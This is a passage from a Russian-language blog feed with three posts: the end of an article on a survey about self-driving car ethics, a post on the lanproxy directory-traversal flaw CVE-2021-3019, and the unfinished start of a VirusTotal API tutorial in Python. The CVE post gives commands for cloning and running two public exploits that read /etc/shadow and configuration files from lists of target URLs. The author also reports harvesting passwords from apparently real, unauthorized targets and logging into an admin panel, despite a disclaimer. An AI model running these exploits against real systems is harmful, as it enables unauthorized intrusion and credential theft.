  &lt;p&gt;Результаты исследования должны помочь разработать универсальную этику беспилотных автомобилей и понять, должна ли она отличаться в зависимости от конкретного географического региона.&lt;/p&gt;
  &lt;h3&gt;Глобальные предпочтения&lt;/h3&gt;
  &lt;p&gt;&lt;strong&gt;Наиболее общие предпочтения,&lt;/strong&gt; что довольно предсказуемо, — спасение людей, а не животных, спасение наибольшего количества жизней и спасение молодых жизней. Эти три постулата могут стать фундаментом для этики беспилотных автомобилей.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://sun9-10.userapi.com/impg/WKAnnEbiupVO9LHETaY71AMWRTbb3ZhmCaMS0w/ofh7hkw1_CY.jpg?size=807x281&amp;quality=96&amp;sign=3fa7fa9fc8d8837e0ed7cb67da9b5089&amp;type=album&quot; width=&quot;807&quot; /&gt;
  &lt;/figure&gt;
  &lt;blockquote&gt;&lt;em&gt;В каждом ряду ΔP — это различие между предпочтительным спасением жизней из правого столбца по сравнению с жизнями в левом столбце. Например, для параметра возраста (Age) предпочтительное спасение молодых жизней на 0.49 больше, чем спасения жизней пожилых.&lt;/em&gt;&lt;/blockquote&gt;
  &lt;h3&gt;Индивидуальные различия&lt;/h3&gt;
  &lt;p&gt;Демографический опрос после основного теста прошли 492 921 пользователей. Их данные помогли понять индивидуальные факторы принятия решений.&lt;/p&gt;
  &lt;p&gt;Оказалось, что наибольшее влияние на решение оказывают пол и религиозность респондентов. Например, респонденты-мужчины на 0,06% реже решают оставить в живых женщин, а наиболее религиозные респонденты на 0,09% чаще предпочитают спасать людей по сравнению с животными. Но ни один из шести демографических факторов не оказывает очень сильного влияния на выбор: скажем, и мужчины, и женщины предпочитают спасать женские жизни — просто женщины делают этот выбор чаще.&lt;/p&gt;
  &lt;h3&gt;Культурные различия&lt;/h3&gt;
  &lt;p&gt;Испытуемых разбили на три культурных кластера:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;strong&gt;&lt;em&gt;западный&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;В него вошли жители Северной Америки и многих европейских стран. По вероисповеданию — протестанты, католики и православные.&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;strong&gt;&lt;em&gt;восточный&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;Восточные страны, такие как Япония, Тайвань (конфуцианство)&lt;/p&gt;
  &lt;p&gt;Индонезия, Пакистан, Саудовская Аравия (мусульманство)&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;strong&gt;&lt;em&gt;южный&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;Страны Латинской Америки и страны под французским влиянием&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://sun9-25.userapi.com/impg/cXGqC4l5yVw6VmdjfS8ju_hWGB99VwkEQ8Qirw/VFSYfbpI-pg.jpg?size=722x807&amp;quality=96&amp;sign=fb87447d7269fe36705d9d35d85b6387&amp;type=album&quot; width=&quot;722&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;&lt;strong&gt;Оказалось, что:&lt;/strong&gt;&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;Предпочтительное спасение жизней молодых менее выражено в восточном кластере и намного выше в южном кластере.&lt;/li&gt;
    &lt;li&gt;В южном кластере наименее выражено предпочтение жизни людей по сравнению с животными.&lt;/li&gt;
    &lt;li&gt;Для южного кластера характерно сильное предпочтение спасения жизней женщин и жизней стройных людей.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;&lt;br /&gt;&lt;u&gt;&lt;a href=&quot;https://t.me/Bureau121&quot; target=&quot;_blank&quot;&gt;ПОДПИСАТЬСЯ - Бюро121&lt;/a&gt;&lt;/u&gt;&lt;/p&gt;

</content></entry><entry><id>bureau121:sLdC1w1hR</id><link rel="alternate" type="text/html" href="https://teletype.in/@bureau121/sLdC1w1hR?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=bureau121"></link><title>Уязвимость CVE-2021-3019</title><published>2021-01-20T07:10:16.066Z</published><updated>2021-01-20T07:10:16.066Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://teletype.in/files/e7/d4/e7d4a2bf-715c-4112-95e1-62faf3721e29.jpeg"></media:thumbnail><summary type="html">&lt;img src=&quot;https://teletype.in/files/8f/02/8f02cb29-8341-4a70-829e-91c9244342de.jpeg&quot;&gt;Источник: t.me/Bureau121</summary><content type="html">
  &lt;p&gt;Источник: t.me/Bureau121&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/8f/02/8f02cb29-8341-4a70-829e-91c9244342de.jpeg&quot; width=&quot;900&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Представляет собой уязвимость Directory Traversal&lt;/p&gt;
  &lt;p&gt;Позволяет обходить каталог Ffay в lanproxy и читать файлы конфигурации.&lt;/p&gt;
  &lt;p&gt;Интересно,что обнаружена уязвимость была 4-5 января 2021 года и ей присвоили средний класс опасности.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://sun9-52.userapi.com/impg/1xFFfdbvTAt6NoroOfm4rJ7eGnImbeOWAKp2fA/b-hRZz9NR6M.jpg?size=807x651&amp;quality=96&amp;sign=67681c6f890733a5cbbfc899d073bd96&amp;type=album&quot; width=&quot;807&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;На данный момент класс опасности повышен. Ещё бы,ведь там где чтение конфиденциальных данных,там и вероятный угон сервера.&lt;/p&gt;
  &lt;p&gt;Вся информация предоставлена исключительно для ознакомления и изучения проблем безопасности. Категорически запрещено применение рассматриваемого материала в незаконных целях.&lt;/p&gt;
  &lt;p&gt;В своём тестировании остановился на двух exploit. Мы рассмотрим работу обоих вариантов. Первый был опубликован сегодня автором Negan.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://sun9-45.userapi.com/impg/z5z_JCmt5Wps4S6_EJlGeOWZnCXQBp9OaBzouA/NGvdklpB_Q4.jpg?size=754x414&amp;quality=96&amp;proxy=1&amp;sign=edc500d961ba2c3813195a0c41507ed1&amp;type=album&quot; width=&quot;754&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;&lt;strong&gt;Exploit 1 &lt;/strong&gt;&lt;/p&gt;
  &lt;pre&gt;# git clone https://github.com/liuxu54898/CVE-2021-3019.git
# Python3 CVE-2021-3019.py url.txt -работа с целевым списком
&lt;/pre&gt;
  &lt;p&gt;Другой exploit ,также отличается хорошей результативностью,от FanqXu.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://sun9-40.userapi.com/impg/NPSg7AY7-kzeBz-HTN5HHkg40HxcexgR5c4HIw/DdhRb2kBYgw.jpg?size=807x361&amp;quality=96&amp;sign=5b1754c95bf57e5a139ac31a378ccbc5&amp;type=album&quot; width=&quot;807&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;&lt;strong&gt;Exploit 2&lt;/strong&gt;&lt;/p&gt;
  &lt;pre&gt;# git clone https://github.com/FanqXu/CVE-2021-3019.git
# python3 POC.py -u http://127.0.0.1:9100 -r /etc/shadow -чтение файлов
# python3 POC.py -u http://127.0.0.1:9100 - чтение конфигурационного файла
# python3 POC.py -f urls.txt - работа с файлом с целевым списком url-адресов
&lt;/pre&gt;
  &lt;p&gt;Перейдём к демонстрации работы эксплойтов и эксплуатации уязвимости.&lt;/p&gt;
  &lt;p&gt;Единственное,надо знать на каком порте висит админка тестируемого ресурса.&lt;/p&gt;
  &lt;p&gt;Также пришлось создать текстовый файл &lt;a href=&quot;https://vk.com/url.txt&quot; target=&quot;_blank&quot;&gt;url.txt&lt;/a&gt; для работы с эксплойтами.&lt;/p&gt;
  &lt;p&gt;Эксплойт от Negan показался несколько удобен в выводе информации&lt;/p&gt;
  &lt;p&gt;Можно видеть,что все цели практически из списка оказались подвержены уязвимости.&lt;/p&gt;
  &lt;p&gt;Пароли с логинами получены,заметьте,что пароли встречаются как недопустимые,так и сложные.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://sun9-55.userapi.com/impg/6PbCN6ls7gcTqMOHYJxHkPLYJE5xVvEpbiFwxg/o9bF8z9m184.jpg?size=807x295&amp;quality=96&amp;sign=9b0f440f02366071c9ff196a37b06cec&amp;type=album&quot; width=&quot;807&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://sun9-55.userapi.com/impg/6PbCN6ls7gcTqMOHYJxHkPLYJE5xVvEpbiFwxg/o9bF8z9m184.jpg?size=807x295&amp;quality=96&amp;sign=9b0f440f02366071c9ff196a37b06cec&amp;type=album&quot; width=&quot;807&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Также данная информация сохранится в файле .csv в директории эксплойта.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://sun9-44.userapi.com/impg/YiBLF7gOpx2f3UxAKS8O78PGbBfK5OITs2aQOQ/fBgEpdGBQaQ.jpg?size=691x178&amp;quality=96&amp;proxy=1&amp;sign=b675b84766dafaf4a159f5326dc75a58&amp;type=album&quot; width=&quot;691&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Посмотрим на работу эксплойта от FanqXu.&lt;/p&gt;
  &lt;p&gt;Попробуем прочитать файл с паролями тестируемого ресурса.&lt;/p&gt;
  &lt;p&gt;Тоже неплохо,всё получаем и нам выводится сообщение о том,что цель подвержена уязвимости.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://sun9-25.userapi.com/impg/YQgSP2Yqdo-elwu2YQK90j3U7g6hA0XF1E4rfQ/4JJ6U8cUcuE.jpg?size=807x456&amp;quality=96&amp;sign=6e647989c13be2f0fe932b4f8d096064&amp;type=album&quot; width=&quot;807&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;И в завершении тестирования проверим насколько данная уязвимость действительно заслуживает повышенного класса опасности.&lt;/p&gt;
  &lt;p&gt;С полученными данными злоумышленник может авторизовываться,создавать клиентов,удалять,менять настройки и т.д.&lt;/p&gt;
  &lt;p&gt;Права бывают часто админские.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://sun9-74.userapi.com/impg/FT0cqVW9fy6TUBcN0nBUP1COgbHezAuN8XjnqQ/Weqts3oxoco.jpg?size=807x330&amp;quality=96&amp;sign=9eb5043601dc3921f22a5fd5c6f6a425&amp;type=album&quot; width=&quot;807&quot; /&gt;
  &lt;/figure&gt;
  &lt;p&gt;Но вредить ресурсу не станем и как здравые люди нажмём кнопку выхода в правом углу.&lt;/p&gt;
  &lt;p&gt;Вся опасность выявленной уязвимости, думаю, понятна.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;Защита:&lt;/strong&gt; Это 0day на данный момент.&lt;/p&gt;
  &lt;p&gt;&lt;br /&gt;&lt;u&gt;&lt;a href=&quot;https://t.me/Bureau121&quot; target=&quot;_blank&quot;&gt;ПОДПИСАТЬСЯ - Бюро121&lt;/a&gt;&lt;/u&gt;&lt;/p&gt;

</content></entry><entry><id>bureau121:0c0AKhD1</id><link rel="alternate" type="text/html" href="https://teletype.in/@bureau121/0c0AKhD1?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=bureau121"></link><title>Тотальная проверка. Используем API VirusTotal в своих проектах</title><published>2020-02-28T17:48:47.672Z</published><updated>2020-02-28T17:48:47.672Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://teletype.in/files/cb/8a/cb8ae2b9-c597-4dd7-897a-3478944e8495.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://teletype.in/files/92/58/92589676-3f9c-4dd6-8fab-1fbcc5b53325.jpeg&quot;&gt;Источник: t.me/Bureau121</summary><content type="html">
  &lt;p&gt;Источник: t.me/Bureau121&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://teletype.in/files/92/58/92589676-3f9c-4dd6-8fab-1fbcc5b53325.jpeg&quot; width=&quot;1600&quot; /&gt;
  &lt;/figure&gt;
  &lt;h3&gt;Содержание статьи&lt;/h3&gt;
  &lt;ul&gt;
    &lt;li&gt;Получаем API Key&lt;/li&gt;
    &lt;li&gt;Версии API&lt;/li&gt;
    &lt;li&gt;API VirusTotal. Версия 2&lt;/li&gt;
    &lt;li&gt;API VirusTotal. Версия 3&lt;/li&gt;
    &lt;li&gt;Заключение&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;Чтобы пользоваться программными интерфейсами VirusTotal без ограничений, нужно получить ключ, который обходится в серьезную сумму — цены начинаются с 700 евро в месяц. Причем частному лицу даже при готовности платить ключ не дадут.&lt;/p&gt;
  &lt;p&gt;Однако отчаиваться не стоит, поскольку основные функции сервис предоставляет бесплатно и ограничивает нас лишь по числу запросов — не более двух в минуту. Что ж, придется с этим мириться.&lt;/p&gt;
  &lt;h3&gt;Получаем API Key&lt;/h3&gt;
  &lt;p&gt;Итак, первым делом нам нужна регистрация на сайте. Тут проблем никаких — я уверен, что ты справишься. После регистрации берем ключ доступа, перейдя в пункт меню API key.&lt;/p&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/6688c3e6458882c56fa36.png&quot; width=&quot;1366&quot; /&gt;
  &lt;/figure&gt;
  &lt;h3&gt;Версии API&lt;/h3&gt;
  &lt;p&gt;Сейчас актуальная версия API имеет &lt;a href=&quot;https://developers.virustotal.com/reference&quot; target=&quot;_blank&quot;&gt;номер 2&lt;/a&gt;. Но при этом уже существует и новый вариант — &lt;a href=&quot;https://developers.virustotal.com/v3.0/reference#overview&quot; target=&quot;_blank&quot;&gt;номер 3&lt;/a&gt;. Эта версия API пока еще находится в стадии беты, но ее уже вполне можно использовать, тем более что возможности, которые она предоставляет, гораздо шире.&lt;/p&gt;
  &lt;p&gt;Разработчики пока что рекомендуют применять третью версию только для экспериментов либо для некритичных проектов. Мы же разберем обе версии. Ключ доступа для них одинаков.&lt;/p&gt;
  &lt;h3&gt;API VirusTotal. Версия 2&lt;/h3&gt;
  &lt;p&gt;Как и в случае с другими популярными веб-сервисами, работа с API заключается в пересылке запросов по HTTP и получении ответов.&lt;/p&gt;
  &lt;p&gt;API второй версии позволяет:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;отправлять файлы на проверку;&lt;/li&gt;
    &lt;li&gt;получать отчет по проверенным ранее файлам, с использованием идентификатора файла (хеш файла SHA-256, SHA-1 или MD5 либо значение &lt;code&gt;scan_id&lt;/code&gt; из ответа, полученного после отправки файла);&lt;/li&gt;
    &lt;li&gt;отправлять URL для сканирования на сервер;&lt;/li&gt;
    &lt;li&gt;получать отчет по проверенным ранее адресам с использованием либо непосредственно URL, либо значения &lt;code&gt;scan_id&lt;/code&gt; из ответа, полученного после отправки URL на сервер;&lt;/li&gt;
    &lt;li&gt;получать отчет по IP-адресу;&lt;/li&gt;
    &lt;li&gt;получать отчет по доменному имени.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h4&gt;Ошибки&lt;/h4&gt;
  &lt;p&gt;Если запрос был правильно обработан и ошибок не возникло, будет возвращен код 200 (OK).&lt;/p&gt;
  &lt;p&gt;Если же произошла ошибка, то могут быть такие варианты:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;204 — ошибка типа Request rate limit exceeded. Возникает, когда превышена квота допустимого количества запросов (для бесплатного ключа квота составляет четыре запроса в минуту);&lt;/li&gt;
    &lt;li&gt;400 — ошибка типа Bad request. Возникает, когда некорректно сформирован запрос, например если нет нужных аргументов или у них недопустимые значения;&lt;/li&gt;
    &lt;li&gt;403 — ошибка типа Forbidden. Возникает, если пытаться использовать функции API, доступные только с платным ключом, когда его нет.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;При правильном формировании запроса (код состояния HTTP — 200) ответ будет представлять собой объект &lt;a href=&quot;https://ru.wikipedia.org/wiki/JSON&quot; target=&quot;_blank&quot;&gt;JSON&lt;/a&gt;, в теле которого присутствуют как минимум два поля:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;response_code — если запрашиваемый объект (файл, URL, IP-адрес или имя домена) есть в базе VirusTotal (то есть проверялся раньше) и информация об этом объекте может быть получена, то значение этого поля будет равно единице; если запрашиваемый объект находится в очереди на анализ, значение поля будет &lt;code&gt;-2&lt;/code&gt;; если запрашиваемый объект отсутствует в базе VirusTotal — равно нулю;&lt;/li&gt;
    &lt;li&gt;verbose_msg предоставляет более подробное описание значения &lt;code&gt;response_code&lt;/code&gt; (например, Scan finished, information embedded после отправки файла на сканирование).&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;Остальная информация, содержащаяся в ответном объекте JSON, зависит от того, какая функция API была использована.&lt;/p&gt;
  &lt;h4&gt;Отправка файла на сервер для сканирования&lt;/h4&gt;
  &lt;p&gt;Для отправки файла на сканирование необходимо сформировать POST-запрос на адрес &lt;code&gt;https://www.virustotal.com/vtapi/v2&lt;/code&gt;, при этом в запросе нужно указать ключ доступа к API и передать сам файл (здесь есть ограничение на размер файла — не более 32 Мбайт). Это может выглядеть следующим образом (используем Python):&lt;/p&gt;
  &lt;pre&gt;import json
import requests
...
api_url = &amp;#x27;https://www.virustotal.com/vtapi/v2/file/scan&amp;#x27;
params = dict(apikey=&amp;#x27;&amp;lt;ключ доступа&amp;gt;&amp;#x27;)
with open(&amp;#x27;&amp;lt;путь к файлу&amp;gt;&amp;#x27;, &amp;#x27;rb&amp;#x27;) as file:
  files = dict(file=(&amp;#x27;&amp;lt;путь к файлу&amp;gt;&amp;#x27;, file))
  response = requests.post(api_url, files=files, params=params)
if response.status_code == 200:
  result=response.json()
  print(json.dumps(result, sort_keys=False, indent=4))
...
&lt;/pre&gt;
  &lt;p&gt;Здесь вместо строки &lt;code&gt;&amp;lt;ключ доступа&amp;gt;&lt;/code&gt; необходимо вставить свой ключ доступа к API, а вместо &lt;code&gt;&amp;lt;путь к файлу&amp;gt;&lt;/code&gt; — путь к файлу, который ты будешь отправлять в VirusTotal. Если у тебя нет библиотеки requests, то поставь ее командой &lt;code&gt;pip install requests&lt;/code&gt;.&lt;/p&gt;
  &lt;p&gt;В ответ, если все прошло успешно и код состояния HTTP равен 200, мы получим примерно вот такую картину:&lt;/p&gt;
  &lt;pre&gt;{
  &amp;quot;response_code&amp;quot;: 1,
  &amp;quot;verbose_msg&amp;quot;: &amp;quot;Scan request successfully queued, come back later for the report&amp;quot;,
  &amp;quot;scan_id&amp;quot;: &amp;quot;275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f-1577043276&amp;quot;,
  &amp;quot;resource&amp;quot;: &amp;quot;275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f&amp;quot;,
  &amp;quot;sha1&amp;quot;: &amp;quot;3395856ce81f2b7382dee72602f798b642f14140&amp;quot;,
  &amp;quot;md5&amp;quot;: &amp;quot;44d88612fea8a8f36de82e1278abb02f&amp;quot;,
  &amp;quot;sha256&amp;quot;: &amp;quot;275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f&amp;quot;,
  &amp;quot;permalink&amp;quot;: &amp;quot;https://www.virustotal.com/file/275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f/analysis/1577043276/&amp;quot;  
}
&lt;/pre&gt;
  &lt;p&gt;Здесь мы видим значения &lt;code&gt;response_code&lt;/code&gt; и &lt;code&gt;verbose_msg&lt;/code&gt;, а также хеши файла SHA-256, SHA-1 и MD5, ссылку на результаты сканирования файла на сайте &lt;code&gt;permalink&lt;/code&gt; и идентификатор файла &lt;code&gt;scan_id&lt;/code&gt;.&lt;/p&gt;
  &lt;h4&gt;Получение отчета о последнем сканировании файла&lt;/h4&gt;
  &lt;p&gt;Используя какой-либо из хешей или значение &lt;code&gt;scan_id&lt;/code&gt; из ответа, можно получить отчет по последнему сканированию файла (если файл уже загружался на VirusTotal). Для этого нужно сформировать GET-запрос и в запросе указать ключ доступа и идентификатор файла. Например, если у нас есть &lt;code&gt;scan_id&lt;/code&gt; из предыдущего примера, то запрос будет выглядеть так:&lt;/p&gt;
  &lt;pre&gt;import json
import requests
...
api_url = &amp;#x27;https://www.virustotal.com/vtapi/v2/file/report&amp;#x27;
params = dict(apikey=&amp;#x27;&amp;lt;ключ доступа&amp;gt;&amp;#x27;, resource=&amp;#x27;275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f-1577043276&amp;#x27;)
response = requests.get(api_url, params=params)
if response.status_code == 200:
  result=response.json()
  print(json.dumps(result, sort_keys=False, indent=4))
...
&lt;/pre&gt;
  &lt;p&gt;В случае успеха в ответ мы увидим следующее:&lt;/p&gt;
  &lt;pre&gt;{
  &amp;quot;response_code&amp;quot;: 1,
  &amp;quot;verbose_msg&amp;quot;: &amp;quot;Scan finished, information embedded&amp;quot;,
  &amp;quot;resource&amp;quot;: &amp;quot;275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f&amp;quot;,
  &amp;quot;sha1&amp;quot;: &amp;quot;3395856ce81f2b7382dee72602f798b642f14140&amp;quot;,
  &amp;quot;md5&amp;quot;: &amp;quot;44d88612fea8a8f36de82e1278abb02f&amp;quot;,
  &amp;quot;sha256&amp;quot;: &amp;quot;275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f&amp;quot;,
  &amp;quot;scan_date&amp;quot;: &amp;quot;2019-11-27 08:06:03&amp;quot;,
  &amp;quot;permalink&amp;quot;: &amp;quot;https://www.virustotal.com/file/275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f/analysis/1577043276/&amp;quot;,
  &amp;quot;positives&amp;quot;: 59,
  &amp;quot;total&amp;quot;: 69,
  &amp;quot;scans&amp;quot;: {
    &amp;quot;Bkav&amp;quot;: {
      &amp;quot;detected&amp;quot;: true,
      &amp;quot;version&amp;quot;: &amp;quot;1.3.0.9899&amp;quot;,
      &amp;quot;result&amp;quot;: &amp;quot;DOS.EiracA.Trojan&amp;quot;,
      &amp;quot;update&amp;quot;: &amp;quot;20191220&amp;quot;
    },
    &amp;quot;DrWeb&amp;quot;: {
      &amp;quot;detected&amp;quot;: true,
      &amp;quot;version&amp;quot;: &amp;quot;7.0.42.9300&amp;quot;,
      &amp;quot;result&amp;quot;: &amp;quot;EICAR Test File (NOT a Virus!)&amp;quot;,
       &amp;quot;update&amp;quot;: &amp;quot;20191222&amp;quot;
    },
    &amp;quot;MicroWorld-eScan&amp;quot;: {
      &amp;quot;detected&amp;quot;: true,
      &amp;quot;version&amp;quot;: &amp;quot;14.0.297.0&amp;quot;,
      &amp;quot;result&amp;quot;: &amp;quot;EICAR-Test-File&amp;quot;,
      &amp;quot;update&amp;quot;: &amp;quot;20191222&amp;quot;
    },
    ...
  ...
  &amp;quot;Panda&amp;quot;: {
    &amp;quot;detected&amp;quot;: true,
    &amp;quot;version&amp;quot;: &amp;quot;4.6.4.2&amp;quot;,
    &amp;quot;result&amp;quot;: &amp;quot;EICAR-AV-TEST-FILE&amp;quot;,
    &amp;quot;update&amp;quot;: &amp;quot;20191222&amp;quot;
  },
  &amp;quot;Qihoo-360&amp;quot;: {
    &amp;quot;detected&amp;quot;: true,
    &amp;quot;version&amp;quot;: &amp;quot;1.0.0.1120&amp;quot;,
    &amp;quot;result&amp;quot;: &amp;quot;qex.eicar.gen.gen&amp;quot;,
    &amp;quot;update&amp;quot;: &amp;quot;20191222&amp;quot;
  }
}
&lt;/pre&gt;
  &lt;p&gt;Здесь, как и в первом примере, получаем значения хешей файла, &lt;code&gt;scan_id&lt;/code&gt;, &lt;code&gt;permalink&lt;/code&gt;, значения &lt;code&gt;response_code&lt;/code&gt; и &lt;code&gt;verbose_msg&lt;/code&gt;. Также видим результаты сканирования файла антивирусами и общие результаты оценки &lt;code&gt;total&lt;/code&gt; — сколько всего антивирусных движков было задействовано в проверке и &lt;code&gt;positives&lt;/code&gt; — сколько антивирусов дали положительный вердикт.&lt;/p&gt;
  &lt;p&gt;Чтобы вывести результаты сканирования всеми антивирусами в удобоваримом виде, можно, например, написать что-то в таком роде:&lt;/p&gt;
  &lt;pre&gt;import requests
...
api_url = &amp;#x27;https://www.virustotal.com/vtapi/v2/file/report&amp;#x27;
params = dict(apikey=&amp;#x27;&amp;lt;ключ доступа&amp;gt;&amp;#x27;, resource=&amp;#x27;275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f-1577043276&amp;#x27;)
response = requests.get(api_url, params=params)
if response.status_code == 200:
  result=response.json()
  for key in result[&amp;#x27;scans&amp;#x27;]:
    print(key)
    print(&amp;#x27;  Detected: &amp;#x27;, result[&amp;#x27;scans&amp;#x27;][key][&amp;#x27;detected&amp;#x27;])
    print(&amp;#x27;  Version: &amp;#x27;, result[&amp;#x27;scans&amp;#x27;][key][&amp;#x27;version&amp;#x27;])
    print(&amp;#x27;  Update: &amp;#x27;, result[&amp;#x27;scans&amp;#x27;][key][&amp;#x27;update&amp;#x27;])
    print(&amp;#x27;  Result: &amp;#x27;, &amp;#x27;result[&amp;#x27;scans&amp;#x27;][key][&amp;#x27;result&amp;#x27;])
...

&lt;/pre&gt;
  &lt;figure class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/a33e631092cc101288ef6.png&quot; width=&quot;920&quot; /&gt;
  &lt;/figure&gt;
  &lt;h4&gt;Отправка URL на сервер для сканирования&lt;/h4&gt;
  &lt;p&gt;Чтобы отправить URL для сканирования, нам необходимо сформировать и послать POST-запрос, содержащий ключ доступа и сам URL:&lt;/p&gt;
  &lt;pre&gt;import json
import requests
...
api_url = &amp;#x27;https://www.virustotal.com/vtapi/v2/url/scan&amp;#x27;
params = dict(apikey=&amp;#x27;&amp;lt;ключ доступа&amp;gt;&amp;#x27;, url=&amp;#x27;https://xakep.ru/author/drobotun/&amp;#x27;)
response = requests.post(api_url, data=params)
if response.status_code == 200:
  result=response.json()
  print(json.dumps(result, sort_keys=False, indent=4))
...
&lt;/pre&gt;
  &lt;p&gt;В ответ мы получим примерно то же, что и при отправке файла, за исключением значений хеша. Содержимое поля &lt;code&gt;scan_id&lt;/code&gt; можно использовать для получения отчета о сканировании данного URL.&lt;/p&gt;
  &lt;h4&gt;Получение отчета о результатах сканирования URL-адреса&lt;/h4&gt;
  &lt;p&gt;Сформируем GET-запрос с ключом доступа и укажем либо непосредственно сам URL в виде строки, либо значение &lt;code&gt;scan_id&lt;/code&gt;, полученное с помощью предыдущей функции. Это будет выглядеть следующим образом:&lt;/p&gt;
  &lt;pre&gt;import json
import requests
...
api_url = &amp;#x27;https://www.virustotal.com/vtapi/v2/url/report&amp;#x27;
params = dict(apikey=&amp;#x27;&amp;lt;ключ доступа&amp;gt;&amp;#x27;, resource=&amp;#x27;https://xakep.ru/author/drobotun/&amp;#x27;, scan=0)
response = requests.get(api_url, params=params)
if response.status_code == 200:
  result=response.json()
  print(json.dumps(result, sort_keys=False, indent=4))
...
&lt;/pre&gt;
  &lt;p&gt;Помимо ключа доступа и строки с URL, здесь присутствует опциональный параметр &lt;code&gt;scan&lt;/code&gt; — по умолчанию он равен нулю. Если же его значение равно единице, то, когда информации о запрашиваемом URL в базе VirusTotal нет (URL ранее не проверялся), этот URL будет автоматически отправлен на сервер для проверки, после чего в ответ мы получим ту же информацию, что и при отправке URL на сервер. Если этот параметр равен нулю (или не задавался), мы получим отчет об этом URL либо (если информация о нем в базе VirusTotal отсутствует) ответ такого вида:&lt;/p&gt;
  &lt;pre&gt;{
  &amp;quot;response_code&amp;quot;: 0,
  &amp;quot;resource&amp;quot;: &amp;quot;&amp;lt;запрашиваемый URL&amp;gt;&amp;quot;,
  &amp;quot;verbose_msg&amp;quot;: &amp;quot;Resource does not exist in the dataset&amp;quot;
} 
&lt;/pre&gt;
  &lt;h4&gt;Получение информации об IP-адресах и доменах&lt;/h4&gt;
  &lt;p&gt;Чтобы проверить IP-адреса и домены, нужно сформировать и отправить GET-запрос с ключом, именем проверяемого домена либо IP в виде строки. Для проверки домена это выглядит так:&lt;/p&gt;
  &lt;pre&gt;...
api_url = &amp;#x27;https://www.virustotal.com/vtapi/v2/domain/report&amp;#x27;
params = dict(apikey=&amp;#x27;&amp;lt;ключ доступа&amp;gt;&amp;#x27;, domain=&amp;lt;&amp;#x27;имя домена&amp;#x27;&amp;gt;)
response = requests.get(api_url, params=params)
...
&lt;/pre&gt;
  &lt;p&gt;Для проверки IP-адреса:&lt;/p&gt;
  &lt;pre&gt;...
api_url = &amp;#x27;https://www.virustotal.com/vtapi/v2/ip-address/report&amp;#x27;
params = dict(apikey=&amp;#x27;&amp;lt;ключ доступа&amp;gt;&amp;#x27;, ip=&amp;lt;&amp;#x27;IP-адрес&amp;#x27;&amp;gt;)
response = requests.get(api_url, params=params)
...
&lt;/pre&gt;
  &lt;p&gt;Ответы на такие запросы объемны и содержат много информации. Например, для IP &lt;code&gt;178.248.232.27&lt;/code&gt; (это IP «Хакера») начало отчета, полученного с сервера VirusTotal, выглядит так:&lt;/p&gt;
  &lt;pre&gt;{
  &amp;quot;country&amp;quot;: &amp;quot;RU&amp;quot;,
